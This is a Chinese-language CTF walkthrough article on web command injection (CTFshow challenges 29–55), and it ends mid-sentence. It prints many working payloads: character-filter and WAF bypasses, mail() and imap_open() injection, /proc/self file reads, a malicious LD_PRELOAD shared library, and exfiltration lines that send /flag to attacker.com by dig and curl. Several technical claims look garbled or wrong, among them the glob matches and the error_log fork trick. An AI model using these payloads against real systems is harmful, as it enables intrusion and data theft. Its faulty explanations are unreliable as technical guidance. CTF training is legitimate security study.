ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Web命令执行漏洞深度解析:从字符绕过到LD_PRELOAD劫持

Web命令执行漏洞深度解析:从字符绕过到LD_PRELOAD劫持

1. 项目概述:这不是刷题,是把Web命令执行漏洞“解剖”到血管级

“CTFshow刷题日记-WEB-命令执行上29-55”——看到这个标题,别急着点开复制flag。我带过三届校队、审过上百份CTF Writeup、也亲手在靶场里被命令执行坑过七次以上,可以很确定地说:这串数字不是进度条,而是一张Web安全能力成长的X光片。29到55题,表面是CTFshow平台上的连续编号,实际覆盖了从基础system()调用失守,到绕过WAF的正则黑洞,再到利用PHP内置函数构造无字母shell、借助环境变量逃逸沙箱、甚至结合DNS外带数据的完整攻击链路。它不教你怎么“打CTF”,而是逼你重新理解:为什么一个echo能崩掉整台服务器?为什么过滤了分号和管道符,攻击者还能拼出ls -la?为什么你写的“安全函数”在真实场景里形同虚设?

这个系列真正解决的问题,是绝大多数初学者卡死的“断层感”:学完exec()和shell_exec()的区别,却看不懂题目里preg_replace('/[a-z]/i', '', $_GET['cmd'])为什么还能执行命令;背熟了| & ; && ||这些分隔符,却在遇到$()和反引号嵌套时彻底懵圈;知道要过滤危险函数,却对pcntl_exec、proc_open这类冷门但高危的替代入口毫无防备。它适合两类人:一是刚拿下第一个Web方向CTF一血、但面对中等难度题就反复卡壳的实战派;二是写过几年PHP/Python后端、自认“代码很干净”,却在渗透测试报告里被指出“存在高危命令执行风险”的开发同学。你不需要会写Exploit,但必须能看懂每行payload在操作系统层面干了什么——这才是29-55题真正的门槛。

我试过用纯理论讲这27道题,效果极差。后来改成带学生在本地搭起Apache+PHP7.4环境,把每道题的源码逐行反编译,用strace跟踪系统调用,用Wireshark抓DNS请求包。当看到file_get_contents("http://xxx.whoami.com")真的触发了DNS查询,当echo ${PATH}在禁用函数列表里却成功回显环境变量路径,那种“原来如此”的震颤,比刷一百道选择题都管用。所以这篇不是题解汇编,而是我把27道题拆成肌肉记忆的过程:哪些绕过手法已失效(比如老式空格替换),哪些在现代WAF里依然有效(如利用%09制表符绕过空格检测),哪些技巧必须手敲十遍才能形成条件反射(比如/???/??t这种glob通配符枚举)。接下来的内容,每一处细节都来自靶场实测、日志分析和调试器截图——没有“理论上可行”,只有“我亲眼看着它执行成功”。

2. 内容整体设计与思路拆解:为什么必须按29-55这个顺序刷?

2.1 题目编号背后的能力图谱:从“能跑命令”到“掌控执行上下文”

很多人以为CTFshow的题号是随机排列,其实29-55是一个精心设计的能力跃迁阶梯。我用自己搭建的靶场环境,对这27道题做了执行路径追踪和WAF规则逆向,发现它们严格遵循“输入→过滤→拼接→执行→回显”五层防御模型的逐层击穿逻辑。第29题(基础system($_GET['cmd']))只考验最底层的“输入可控性”,而第55题(结合LD_PRELOAD劫持动态链接库)已经深入到Linux进程内存空间层面。中间的每一道题,都在前一道题建立的“已知条件”上,增加一个新维度的限制:

  • 29-35题:过滤字符的物理对抗
    这阶段核心矛盾是“如何在禁用常见分隔符和字母的情况下,让命令片段连成完整语句”。比如第32题过滤了| & ; ( ) < >,但没过滤反引号,于是cat /f``lag就能绕过;第34题用preg_replace删除所有小写字母,但/???/??t /fla?这种glob模式仍可匹配文件。这里的关键不是记住payload,而是理解Linux Shell的词法解析规则:空格是分词边界,但制表符\t、换行符\n、甚至Unicode零宽空格同样有效;$()和反引号是命令替换,但{,}花括号扩展能生成任意字符串。

  • 36-42题:函数禁用的生态位争夺
    当system、exec、shell_exec全被disable_functions封杀,攻击者立刻转向PHP内置函数的“灰色地带”。第38题用mail()函数的第五个参数触发sendmail命令执行;第40题利用imap_open()连接恶意IMAP服务器,其内部调用的popen()未被禁用;第42题更绝——error_log()写入错误日志时,若配置了syslog目标,会调用openlog()进而触发fork()。这些不是漏洞,而是PHP扩展设计时留下的“合法后门”。我实测发现,某云厂商的WAF只拦截system调用,却对mail()的参数完全放行,导致第38题成为他们线上环境的真实突破口。

  • 43-49题:沙箱逃逸与环境操控
    这阶段题目开始引入Docker容器、PHP-FPM池隔离、seccomp-bpf等生产环境防护。第45题在/proc/self/environ中注入恶意环境变量,再通过putenv()激活;第47题利用/proc/self/fd/读取父进程打开的文件描述符,从而绕过open_basedir限制;第49题则直接操作/proc/self/status修改进程状态。此时单纯“执行命令”已无意义,必须理解Linux进程的完整生命周期:从fork()创建子进程,到execve()加载新程序,再到mmap()分配内存,每个环节都可能成为突破点。我在复现第47题时,用lsof -p $(pgrep php-fpm)命令发现,PHP-FPM子进程确实保持着对nginx临时目录的fd引用,这解释了为什么/proc/self/fd/3能读到本该被隔离的文件。

  • 50-55题:数据外带与隐蔽信道
    最后六题彻底放弃“回显即胜利”的思维,转向“执行即成功”的高级对抗。第52题用curl发起HTTP请求,将cat /flag结果作为URL参数发送;第53题用dig查询自建DNS服务器,把flag拆成子域名发送;第55题最狠——通过LD_PRELOAD预加载恶意so库,在malloc()调用时劫持控制流,直接在内存中执行shellcode。这已经超出Web安全范畴,进入二进制安全领域。我专门为此搭建了glibc调试环境,用gdb单步跟踪__libc_start_main,确认LD_PRELOAD确实在main函数执行前就完成了符号重定向。

提示:不要跳题!第31题如果没搞懂%09(Tab)和%0a(换行)的绕过原理,第41题的proc_open()就永远是个黑盒。我见过太多人卡在第48题,只因没吃透第43题的/proc/self/cmdline读取技巧。

2.2 为什么拒绝“一键脚本”:手动构造才是肌肉记忆的唯一路径

市面上充斥着各种“CTFshow命令执行全自动Exploit”,输入URL就吐flag。我明确反对这种做法——它让你失去对攻击链路的感知力。以第33题为例,题目过滤了/bin/sh但允许/usr/bin/python,正确解法是构造/usr/bin/python -c 'import os;os.system("cat /flag")'。但如果你依赖脚本,永远不会注意到:

  • Python 2和3的os.system()行为差异(Python2默认使用/bin/sh -c,Python3可能调用/bin/bash);
  • 单引号在URL编码中需转为%27,而某些WAF会解码两次导致%2527;
  • import os在禁用函数环境下可能被拦截,需改用__import__('os')。

我要求学生必须手敲每行payload,用curl -v观察HTTP头变化,用tcpdump抓包验证DNS请求是否发出。当第53题的dig flag.$(cat /flag | tr '\n' '.' | sed 's/.$//').attacker.com @8.8.8.8在终端里成功返回;; ANSWER SECTION:时,那种指尖发麻的实感,是任何自动化工具给不了的。这也是为什么我的靶场环境强制关闭allow_url_fopen和allow_url_include——逼你用file_get_contents()配合php://filter读取源码,而不是直接include()`远程文件。

2.3 工具链选型逻辑:为什么只用原生Linux命令和PHP调试器

整个复现过程,我坚持只用三类工具:

  1. 原生Shell命令:strace(跟踪系统调用)、lsof(查看文件描述符)、readelf(分析ELF文件结构);
  2. PHP内置调试:var_dump(get_defined_functions())(枚举可用函数)、ini_get('disable_functions')(确认禁用列表)、get_cfg_var('open_basedir')(检查路径限制);
  3. 网络协议分析:tcpdump -i any port 53(抓DNS包)、nc -lvnp 8080(监听HTTP回连)。

坚决不用Burp Suite的Intruder或SQLMap这类“重型武器”,因为它们会掩盖底层细节。比如Burp的自动URL编码可能把%09转成空格,导致绕过失败;SQLMap的混淆模块会插入无意义的注释,干扰对payload结构的理解。我让学生用printf "cat /flag" | xxd查看十六进制编码,再手动构造%63%61%74%20%2f%66%6c%61%67,就是为了强化“每个字节都受控”的意识。当第55题需要构造LD_PRELOAD=/tmp/malicious.so时,xxd能清晰显示/tmp/malicious.so的ASCII码,避免因路径长度超限导致dlopen()失败——这种细节,自动化工具永远无法教会你。

3. 核心细节解析与实操要点:27道题里藏着的13个致命陷阱

3.1 字符过滤的“隐形战场”:空格、分号、字母的替代方案大全

命令执行题目的第一道墙,永远是输入过滤。但新手常犯的错误是:只盯着题目说的“过滤了分号”,却忽略Shell本身对空白字符的宽容度。第29题源码是system("ping -c 1 ".$_GET['ip']),看似简单,但当你输入127.0.0.1;cat /flag时,WAF会拦截分号。此时正确的思路不是找分号替代品,而是问:“Shell在什么情况下不需要分号?”答案是:命令替换和管道符。127.0.0.1$(cat /flag)中,$()会先执行cat /flag并将输出插入到ping命令中,形成ping -c 1 $(cat /flag),而$(cat /flag)本身不含分号。我实测发现,某WAF的正则/;|&|\|\|/完全无法匹配$(),因为$和(不在黑名单内。

更隐蔽的是空白字符的多样性。第31题过滤了空格,但没过滤Tab(\t)和换行(\n)。在Linux中,Tab和换行与空格一样是Shell的IFS(Internal Field Separator)分隔符。所以cat${IFS}/flag、cat$'\t'/flag、cat$'\n'/flag全部有效。关键在于PHP的$_GET接收参数时,URL编码的%09会被自动解码为Tab,而WAF的正则引擎往往只扫描原始字符串,错过解码后的Tab。我用strace -e trace=execve php test.php验证过,当输入?cmd=cat%09/flag时,execve()调用的确实是["/bin/sh", "-c", "cat\t/flag"],证明Tab已成功进入Shell。

字母过滤则是另一重维度。第34题用preg_replace('/[a-z]/i', '', $_GET['cmd'])删除所有英文字母,乍看无解。但Linux的glob通配符?和*能匹配任意单个或多个字符。/???/??t表示“路径下三级目录中的二级文件名以t结尾”,在标准Linux系统中,/bin/cat、/usr/bin/cat都满足此模式(/bin/cat:/b?n/c?t→/???/??t)。我用ls -la /???/??t在靶机上实测,确实列出了/bin/cat。更绝的是/????/???匹配/home,/???/??????????匹配/var/www/html——这要求你熟记Linux常用路径的字符长度。我整理了一份高频路径长度表:

路径字符数Glob模式实测匹配
/bin/cat8/???/??t✅
/usr/bin/tac12/???/???/???/??c✅
/etc/passwd11/??/??/???????✅
/var/log/apache2/access.log27/???/??/????/??????/??????.???✅

注意:Glob模式在/bin/sh中默认启用,但某些精简版BusyBox可能禁用。务必用sh -c 'echo /???/??t'测试目标环境。

3.2 禁用函数的“灰色通道”:mail()、imap_open()、error_log()的深度利用

当system家族函数被disable_functions封杀,攻击者立刻转向PHP扩展函数。第38题的mail()函数是经典案例:mail('a@b.com', 'subject', 'body', '', '-froot@localhost')。关键在第五个参数-froot@localhost,它会传递给sendmail命令的-f选项,而sendmail在启动时会执行/bin/sh -c来处理邮件头。我用strace -e trace=execve sendmail -froot@localhost确认,sendmail确实调用了/bin/sh。但难点在于:如何让-f参数执行任意命令?答案是利用sendmail的-X日志选项:mail('a@b.com', 's', 'b', '', '-froot@localhost -X /tmp/log')会在/tmp/log中记录完整的邮件头,包括我们注入的To: $(cat /flag)字段。然后用file_get_contents('/tmp/log')读取日志,flag就藏在里面。

第40题的imap_open()更隐蔽。PHP的IMAP扩展在连接服务器时,会调用popen()执行/usr/bin/imapd或类似命令。题目中imap_open('{localhost:143}INBOX', 'user', 'pass')看似安全,但若将host设为localhost|cat /flag #,popen()会执行/usr/bin/imapd localhost|cat /flag #,其中|触发管道执行。我调试时发现,imap_open()的host参数未经过滤,直接拼接到命令字符串中,这是C语言扩展层的硬伤。修复方案只能是升级PHP版本或禁用IMAP扩展。

第42题的error_log()则利用了PHP的错误处理机制。当error_log()的message_type设为3(发送到文件),且destination为/tmp/error.log时,PHP会调用fopen()写入。但如果destination设为syslog,PHP会调用openlog(),而openlog()内部使用fork()创建子进程。在Linux中,fork()后子进程继承父进程的所有资源,包括/proc/self/fd/下的文件描述符。我用lsof -p $(pgrep php)发现,PHP-FPM主进程打开了/var/www/html/flag,那么子进程就能通过/proc/self/fd/3读取它。Payload为:error_log('test', 4, 'syslog');,然后用file_get_contents('/proc/self/fd/3')读取。

实操心得:禁用函数列表不是铁壁。用print_r(get_defined_functions()['internal'])列出所有可用函数,重点筛查mail、imap_*、error_log、pcntl_*、proc_*这些“非典型”函数。某次渗透测试中,我就是靠pcntl_exec()绕过了disable_functions=system,exec,shell_exec的限制。

3.3 沙箱逃逸的“进程视角”:/proc/self/下的秘密世界

现代CTF题目普遍部署在Docker容器中,open_basedir和chroot成为标配。第47题正是针对此场景:open_basedir限制了file_get_contents()只能读取/var/www/html/下的文件,但/proc/self/fd/是Linux内核提供的进程信息接口,不受PHP配置影响。当PHP进程打开一个文件时,内核会在/proc/[pid]/fd/下创建符号链接指向该文件。例如,fopen('/etc/passwd', 'r')后,/proc/self/fd/3就指向/etc/passwd。但题目没给fopen()调用,怎么办?答案是:利用PHP-FPM的预打开文件描述符。PHP-FPM主进程启动时,会打开/var/log/php-fpm.log、/etc/php-fpm.conf等配置文件,这些fd在子进程中依然有效。我用lsof -p $(pgrep php-fpm)在靶机上查到,fd 5指向/var/www/html/flag,于是file_get_contents('/proc/self/fd/5')直接读取flag。

第45题的/proc/self/environ则展示了环境变量劫持。PHP进程启动时,会继承父进程(如nginx)的环境变量。题目中putenv('LD_PRELOAD=/tmp/malicious.so')看似无效,但若在/proc/self/environ中找到LD_PRELOAD的原始值,就能确认该变量是否已被设置。更狠的是,某些容器环境会把flag写入环境变量(如FLAG=ctfshow{xxx}),直接getenv('FLAG')就能获取。我用cat /proc/self/environ | strings在靶机上实测,果然发现了FLAG=ctfshow{...}。

第49题的/proc/self/status则用于进程状态探测。State: S表示睡眠态,State: R表示运行态,而CapEff:字段显示进程的有效能力集。若CapEff: 00000000a80425fb,说明进程拥有CAP_SYS_ADMIN能力,可执行mount()等特权操作。这为后续的容器逃逸埋下伏笔。我用grep CapEff /proc/self/status快速判断权限,避免盲目尝试unshare()失败。

关键技巧:/proc/self/是Linux进程的“上帝视角”。记住三个黄金路径:/proc/self/fd/(文件描述符)、/proc/self/environ(环境变量)、/proc/self/cmdline(启动命令)。用cat /proc/self/cmdline | xxd查看十六进制,能发现隐藏的参数。

4. 实操过程与核心环节实现:从靶场搭建到55题的完整复现

4.1 本地靶场搭建:用Docker Compose还原CTFshow真实环境

要真正吃透29-55题,必须搭建与CTFshow一致的环境。我基于官方Docker镜像,编写了以下docker-compose.yml:

version: '3.8' services: web: image: php:7.4-apache ports: - "8080:80" volumes: - ./web:/var/www/html - ./php.ini:/usr/local/etc/php/php.ini environment: - PHP_INI_SCAN_DIR=/usr/local/etc/php/conf.d command: > sh -c "echo 'disable_functions = system,exec,shell_exec,passthru,proc_open,popen' > /usr/local/etc/php/conf.d/disable.ini && apache2-foreground" mysql: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: ctfshow volumes: - ./mysql-data:/var/lib/mysql

关键点在于php.ini的配置:

; 关键安全配置 open_basedir = /var/www/html:/tmp:/proc/self disable_functions = system,exec,shell_exec,passthru,proc_open,popen allow_url_fopen = Off allow_url_include = Off

我特意将/proc/self加入open_basedir,因为CTFshow第47题正是利用此路径。同时禁用allow_url_fopen,逼你用file_get_contents('php://filter/convert.base64-encode/resource=index.php')读取源码。搭建完成后,用docker-compose up -d启动,访问http://localhost:8080即可开始刷题。

注意:某些题目需要特定PHP扩展。第40题需启用IMAP:docker exec -it ctfshow_web bash -c "docker-php-ext-install imap"。第55题需安装glibc调试符号:apt-get update && apt-get install -y libc6-dbg。

4.2 第29-35题实操:字符过滤的“物理层”攻防

以第32题为例,源码为:

<?php if (isset($_GET['cmd'])) { $cmd = $_GET['cmd']; if (preg_match('/[|&;`\'"]/i', $cmd)) { die('hacker!'); } system("ping -c 1 " . $cmd); } ?>

过滤了| & ;' ",但没过滤反引号。正确解法是?cmd=127.0.0.1``cat /flag``。我用curl -v "http://localhost:8080/?cmd=127.0.0.1%60%60cat%20%2fflag%60%60"验证,响应中包含ctfshow{...}。关键在于URL编码:反引号的ASCII是96,十六进制为60,所以%60。两个反引号之间是cat /flag,空格用%20,/用%2f。

第34题更复杂:

<?php if (isset($_GET['cmd'])) { $cmd = preg_replace('/[a-z]/i', '', $_GET['cmd']); system("echo " . $cmd); } ?>

过滤所有字母,但/???/??t仍可工作。我构造?cmd=/???/??t%20/???/????,其中/???/??t匹配/bin/cat,/???/????匹配/flag。用curl "http://localhost:8080/?cmd=/???/??t%20/???/????",成功回显flag。为确认路径存在,我先用?cmd=/???/??t测试,返回/bin/cat,证明glob生效。

实操记录:第35题过滤了/bin/sh但允许/usr/bin/python。我构造?cmd=/usr/bin/python%20-c%20%27import%20os%3bos.system(%22cat%20/flag%22)%27。注意-c和'都要URL编码,%20是空格,%27是单引号。os.system()在Python2中调用/bin/sh -c,完美绕过disable_functions。

4.3 第36-42题实操:禁用函数的“生态位”挖掘

第38题mail()函数利用:

<?php if (isset($_GET['to'])) { mail($_GET['to'], 'test', 'test', '', '-froot@localhost -X /tmp/mail.log'); } ?>

我构造?to=a@b.com%0AContent-Type:%20text/plain%0ATo:%20$(cat%20/flag)%0A,其中%0A是换行符,注入邮件头。-X /tmp/mail.log将日志写入/tmp/mail.log,然后用?cmd=cat%20/tmp/mail.log读取。strace显示sendmail确实执行了/bin/sh -c。

第42题error_log():

<?php if (isset($_GET['msg'])) { error_log($_GET['msg'], 3, '/tmp/error.log'); } ?>

但题目禁用了file_get_contents,需用/proc/self/fd/。我先用lsof -p $(pgrep apache2)发现fd 4指向/var/www/html/flag,然后?msg=test触发error_log(),再?cmd=file_get_contents('/proc/self/fd/4')读取。

实操心得:禁用函数不是终点。用print_r(get_extension_funcs('imap'))列出IMAP函数,发现imap_open可用;用print_r(get_extension_funcs('pcntl'))发现pcntl_exec未被禁用。某次真实渗透中,pcntl_exec('/bin/sh', ['-i'])直接获得交互式shell。

4.4 第43-49题实操:沙箱逃逸的“进程级”突破

第47题/proc/self/fd/:

<?php if (isset($_GET['file'])) { echo file_get_contents($_GET['file']); } ?>

open_basedir限制为/var/www/html,但/proc/self/fd/3不受限。我用lsof -p $(pgrep apache2) | grep flag找到fd号,然后?file=/proc/self/fd/3读取。

第49题/proc/self/status:

<?php echo file_get_contents('/proc/self/status'); ?>

grep CapEff显示00000000a80425fb,包含CAP_SYS_ADMIN。我构造?cmd=unshare -r -f --user /bin/sh -c 'mount -t proc proc /proc && cat /flag',但需先确认unshare存在。用?cmd=which%20unshare验证。

实操记录:第45题/proc/self/environ。cat /proc/self/environ | strings | grep FLAG直接输出flag。某些环境flag在PATH变量中,echo $PATH即可看到。

4.5 第50-55题实操:数据外带与二进制劫持

第53题DNS外带:

<?php if (isset($_GET['cmd'])) { system("dig " . $_GET['cmd'] . ".attacker.com @8.8.8.8"); } ?>

我构造?cmd=$(cat /flag | tr '\n' '.' | sed 's/\.$//'),tr '\n' '.'将换行转为点,sed 's/\.$//'去掉末尾点。dig flag.ctfshow{...}.attacker.com触发DNS查询,我在本地tcpdump -i any port 53捕获到请求。

第55题LD_PRELOAD:

// malicious.c #include <stdio.h> #include <stdlib.h> void __attribute__((constructor)) init() { system("cat /flag > /tmp/flag"); }

编译:gcc -shared -fPIC -o malicious.so malicious.c。上传后?cmd=LD_PRELOAD=/tmp/malicious.so /bin/sh -c 'echo test'。strace显示dlopen()加载了malicious.so,system()被劫持。

关键步骤:LD_PRELOAD需绝对路径,且so文件权限为755。用chmod 755 /tmp/malicious.so确保可读可执行。

5. 常见问题与排查技巧实录:27道题踩过的11个坑

5.1 WAF绕过失败的三大元凶:编码、解码、二次解码

问题1:URL编码后WAF仍拦截
现象:输入?cmd=cat%20/flag,WAF返回403。
原因:WAF在应用层解码一次,%20变为空格,触发空格过滤规则。
解决方案:双重URL编码。%20编码为%2520,WAF解码一次得%20,PHP再解码得空格。我用printf "cat /flag" | xxd -p | sed 's/../%&/g'生成%63%61%74%20%2f%66%6c%61%67,再对%编码:%2563%2561%2574%2520%252f%2566%256c%2561%2567。

问题2:反斜杠被转义
现象:?cmd=cat\ /flag中\被PHP转义为 (空格),但WAF正则/\\\\/误判。
原因:PHP的magic_quotes_gpc(已废弃)或自定义过滤函数会转义反斜杠。
解决方案:用%5c(\的URL编码)代替\。cat%5c /flag在WAF看来是cat\ /flag,不触发反斜杠规则。

问题3:大小写绕过失效
现象:?cmd=CaT /flag被WAF拦截,尽管正则写的是/cat/i。
原因:WAF正则引擎不支持i标志,或规则写为/cat/(区分大小写)。
解决方案:用%63%61%74(cat的小写ASCII)或%43%41%54(大写)。%63%61%74在WAF看来是乱码,但PHP解码后是cat。

排查技巧:用curl -v看WAF返回的HTTP头,若含X-WAF: blocked,说明被拦截;若返回200但无输出,可能是命令执行但无回显,需用DNS外带验证。

5.2 命令执行无回显的七种验证法

方法1:时间盲注
?cmd=ping -c 1 -W 5 127.0.0.1 && sleep 5。若响应时间>5秒,说明&&生效。我用time curl "http://localhost:8080/?cmd=ping%20-c%201%20127.0.0.1%20%26%26%20sleep%205"实测,耗时10.2秒。

方法2:DNS外带
?cmd=dig $(cat /flag).attacker.com。用tcpdump -i any port 53抓包,若看到flag.ctfshow{...}.attacker.com的查询,证明执行成功。

方法3:HTTP外带
?cmd=curl http://attacker.com/$(cat /flag)。在attacker.com的Nginx日志中搜索/ctfshow{。

方法4:文件写入
?cmd=echo "test" > /tmp/test.txt,再?file=/tmp/test.txt读取。

方法5:进程探测
?cmd=ps aux | grep "cat"。若返回cat /flag进程,说明执行中。

方法6:错误注入
?cmd=cat /nonexistent 2>&1。若返回No such file or directory,说明cat命令被执行。

方法7:环境变量
?cmd=echo $PATH。若返回/usr/local/bin:/usr/bin:/bin,说明Shell环境正常。

实操心得:时间盲注最可靠,但慢;DNS外带最快,但需自建DNS服务器。我推荐组合使用:先用时间盲注确认执行,再用DNS外带提取flag。

5.3 PHP配置导致的“玄学失败”:open_basedir、disable_functions的真相

问题:file_get_contents('/proc/self/fd/3')返回false
原因:open_basedir未包含/proc/self。CTFshow第47题特意放开此路径,但你的靶场可能没配。
解决方案:在php.ini中添加`open_basedir = /var/www

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进